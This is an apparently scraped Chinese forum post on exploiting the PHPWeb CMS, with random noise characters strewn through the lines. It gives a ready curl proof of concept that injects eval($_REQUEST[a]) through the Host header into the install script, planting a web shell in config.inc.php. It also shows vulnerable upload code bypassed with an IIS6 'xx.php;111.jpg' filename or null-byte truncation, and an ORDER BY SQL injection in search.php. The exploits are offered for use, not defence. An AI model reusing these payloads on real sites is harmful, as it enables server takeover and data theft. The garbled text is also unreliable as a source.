注入:/ W' U- L$ c+ h& J2 |
5 S" ~% G9 B9 e, M, K! n之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码, C' h [* c& s0 N
. b d: c* H* y4 Q% o% c鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
8 u0 B9 J8 s4 } J+ l6 \鸡肋2: 有一定安全常识的站长都会删掉 install 目录' t1 i# a. \% i9 I& Y5 j
( J" W' p9 q( o3 M2 [虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
; B2 S8 T3 \. V, n& ^
' D: J4 q. h* G( ?- J% E, t5 D分析:
2 e& t t/ b0 Q/ U+ F' U 3 l1 s D# R9 G6 i8 f3 w5 n" l! R
: i! Y* f" K$ v2 B6 d+ C* D6 |3 A
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤: W! \. d) k+ g* e* Q( j! t
# g& g) G/ ^9 C- k. s8 j $filestr = fread(fopen($SysConfigFile, 'r'),30000);
m1 b& n1 ^- [; \, S+ @8 _/ a $filestr=str_replace(" ","",$filestr);
# m% e5 `% g; b1 O! a9 S $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);* a2 x' o& b, q3 K Q0 f! C
$filestr=str_replace("DefaultDbName",$dbname,$filestr);8 w7 l+ q8 r$ v2 b- H7 @8 s
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);5 s; U/ \& W8 A( b
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);- j' \. q( i p7 C6 K. l& Y
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);& s6 \# g6 r. B+ ^
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);% o+ i8 F2 k+ g3 o) R+ c; f/ g* F) B
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
( _' C5 ]# _4 s" { w6 K+ ? & a, S/ `% z. t- o# i3 f' j: t
fwrite(fopen($ConFile,"w"),$filestr,30000);/ \. p0 Z' _% q- w
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^+ u5 Z* ^, Z4 y8 f8 U* F4 `
: `8 r2 ]% Y; wpoc:
' Q8 U: h& L( I6 F
. u/ \" w/ ]+ {?0 V* Y2 o/ a6 M+ \
1% I; \7 J: m0 q; v7 H( n
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"* c) s: \- V" l
shell地址: /config.inc.php
5 a U" H* ?: y4 l跟之前的 phpcms一样 需要远程数据库
" i ~9 U' d& ~$ r p; ] # }3 I2 _' {9 ^. w j
——————————————————–' N! N4 f: ?% N: `( _
上传漏洞(需要进后台):* S/ L" c6 `1 @0 R+ y+ b/ `
漏洞文件: /kedit/upload_cgi/upload.php) c1 s Y+ R+ T& o( y0 }
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
! v3 W: A0 V* f" v( v7 s * @6 D6 Z/ T8 J
6 F5 m) H3 \5 h# c
<?php9 b1 ?; q4 ]$ O: i" S5 J: d
define("ROOTPATH", "../../");
- m& W% P! U. R/ o* r include(ROOTPATH."includes/admin.inc.php");
& A& ^9 c) P- A% q6 \ NeedAuth(0);
; F# h" `0 ?, |: w' p$ r# l " B ^& y% [5 [* C
$dt=date("Ymd",time());& l* ^6 p9 V, Y
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){; v4 r9 R# B) z: ~
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
" T: c& x. @; `# `: V1 p, Q2 _ }
, ]. R$ b" n# g# N, {: h! ?8 j
# ?& _/ M4 i7 b+ k+ Z2 a' ] //文件保存目录路径 w Q6 ?/ L3 J* P9 L3 I# S
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';+ W F) f% m$ e6 F2 z" @( o
echo $save_path;, z3 p5 v6 Z9 ?
//文件保存目录URL1 b4 y+ q( j0 v" g/ [+ m1 ?
$save_url = '../../'.$_POST['attachPath'].$dt.'/';- m/ j2 w2 d% A4 U: U
& s; j9 X2 @* X
//定义允许上传的文件扩展名
/ j( S1 e6 H. O# t $ext_arr = array('gif','jpg','png','bmp'); //限制后缀6 K5 V" ^. ?2 f; j$ B
6 o" I% p( N; V8 g. }+ c; D
//最大文件大小
' C2 s( {( P8 [# x7 F0 t" | $max_size = 1000000;
0 W5 T3 [, D4 y) E7 ~ 2 \+ J3 z9 j, U, D* y+ g
//更改目录权限' I, D/ W4 O" l) d0 t/ S
@mkdir($save_path, 0777);/ G3 c- H$ N. p
7 |9 ]" \! f% v, p
//文件的全部路径
, s0 q2 Q4 U+ O2 q $file_path = $save_path.$_POST['fileName']; //保存文件名
8 Y$ }. V6 T( E5 I: n$ ~6 \
, C5 O8 X3 C0 }8 }# @ //文件URL
. M+ [) S& o- _8 N4 K: g/ T% J $file_url = $save_url.$_POST['fileName'];
n% A$ C. \2 k* m/ g) n* L//有上传文件时
, |7 Y; D4 [% E$ M. g" C* n if (empty($_FILES) === false) {5 ?9 W: S. P4 P7 f& ?: N* N; R8 r
* T/ y- y. ?4 t8 A6 `3 Z. a //原文件名! ~$ ]* y( C6 c1 ?
$file_name = $_FILES['fileData']['name'];5 q' [5 w8 B& b' B
//服务器上临时文件名
! x9 J2 Z+ x5 E+ D# b3 h $tmp_name = $_FILES['fileData']['tmp_name'];, B3 l# `1 o, }8 k) Y
//文件大小4 e9 O# G% T5 O- D, [
$file_size = $_FILES['fileData']['size'];
( N% X( R+ n2 n( W //检查目录
$ I, p/ A/ \' |: O; h$ n* ? if (@is_dir($save_path) === false) {+ [$ `8 G6 L) C7 Z, l8 |: W
alert("上传目录不存在。");
4 q/ _$ v, d" P/ H( [% k }
5 X* D t1 w. D9 K, w //检查目录写权限
- u. D2 A! z0 }/ _2 d' i9 a( B if (@is_writable($save_path) === false) {
1 Z' S* L: r! }, d% C' H alert("上传目录没有写权限。"); S: g) [0 {; D
}" Q% ?/ d7 E$ | b( G
//检查是否已上传
2 E. O9 D8 N4 y5 ^- E- m if (@is_uploaded_file($tmp_name) === false) {
$ D S' y9 B, m7 ^ z alert("临时文件可能不是上传文件。");' t" Y0 [( u4 {$ P+ j) E: r0 o
}
1 O. u5 V. V c: v, s0 |5 [8 [7 l9 R //检查文件大小
' t2 R& n/ x) N7 [: G9 q/ J if ($file_size > $max_size) {4 W, z2 s. Z9 m6 f0 Q' g
alert("上传文件大小超过限制。");/ V% T6 ^+ J* h6 t) g3 w& z
}, ^& V8 c: Y( v. A5 F& ]: e& A: `9 S* t
//获得文件扩展名
, j; D l" u. ^+ Z/ T $temp_arr = explode(".", $_POST['fileName']);* [3 g' m2 R1 U. {+ I3 C
$file_ext = array_pop($temp_arr);
2 Y4 e+ N5 g- o( ]2 f$ { $file_ext = trim($file_ext);! R9 H0 ]: Y' ~
$file_ext = strtolower($file_ext);
$ Z" j% A* B3 j1 M8 b3 T) r1 B ( N5 |% A( i+ r* c4 v! z ~
//检查扩展名 , ~. C% u0 b6 c
if (in_array($file_ext, $ext_arr) === false) {
" x* B5 Y# O( a6 d. e" p alert("上传文件扩展名是不允许的扩展名。");
/ c* w# \4 g: I3 P: v }, G. s2 N0 u5 T& `- I3 v+ q4 P3 l
5 i7 [- `" x: a
//移动文件
; X7 j$ m& J4 f* W) _4 m //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
4 j' |+ F5 D" R: k O7 W if (move_uploaded_file($tmp_name, $file_path) === false) {
- B" g6 X! X# e% ?5 K# Q alert("上传文件失败。");
2 L6 M) U5 A/ p; k: K- F+ v7 ?2 w* e }' t0 b9 q0 ~, o! } m2 a
: I6 u( e6 v. r! m# E& g
@chmod($file_path,0666);! r' g' N: x( _8 B; w
, d% @ t: y5 p6 ` V+ T3 ]" G
?> ?! k8 P( l& c" Y, J2 w
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227. {9 u( {' n" m# I
, n) q9 Y6 v* q6 f b; G
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过4 _, w7 `/ q: H G
9 q2 E8 |# V- E& l9 u) v" \2 a. ?——————————————————9 q/ O- D. }8 s. a1 P1 I
注入漏洞:
& A3 C B' u) m( A6 v" d9 b5 b漏洞文件:search/module/search.php# y# u: M1 @* o2 p
/search/index.php?key=1&myord=1 [sqlinjection]0 S3 q- U4 X4 T" Q+ f; v+ t
, u0 n) M) a0 {# M/ x- P: K: e+ @
$ d( F+ K2 b: f<?php, Z0 i+ d) E2 x" J) v& J* {2 O
// ... 省略 n 行...
- b5 W1 C% \2 ?9 E" |, y //第18行:$ Z" b( g- O( E, C" |, s l5 q
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响9 r$ R$ T8 H/ c& _0 t
$page=htmlspecialchars($_GET["page"]);# |; l9 K$ I2 f9 B" I- ?- O1 Y
$myord=htmlspecialchars($_GET["myord"]);
6 A0 P. g* C- a
. O) F( }/ r2 q) ]' o6 P2 o" O // ... 省略 n 行...$ g" Y: d- \$ w; Y$ e6 ~
$key,$myord 两个参数带入查询
$ r* _ A r3 }5 Z //第47行 $key:" ?; ^* q# e; }5 ~% ]
; W) @# a3 ?" |- Q6 ?. r2 |* }7 S
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
5 H' k! L3 ^; G2 C
5 B& i4 f) N8 a' y/ l! K //第197行 $myord0 G+ Y; S/ ? X+ d. e! R n# t
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入( u2 F; R+ D$ d3 P
# q; i4 \; {$ l) N# u8 q- L ?># l/ G# _ A H( A1 y3 H
|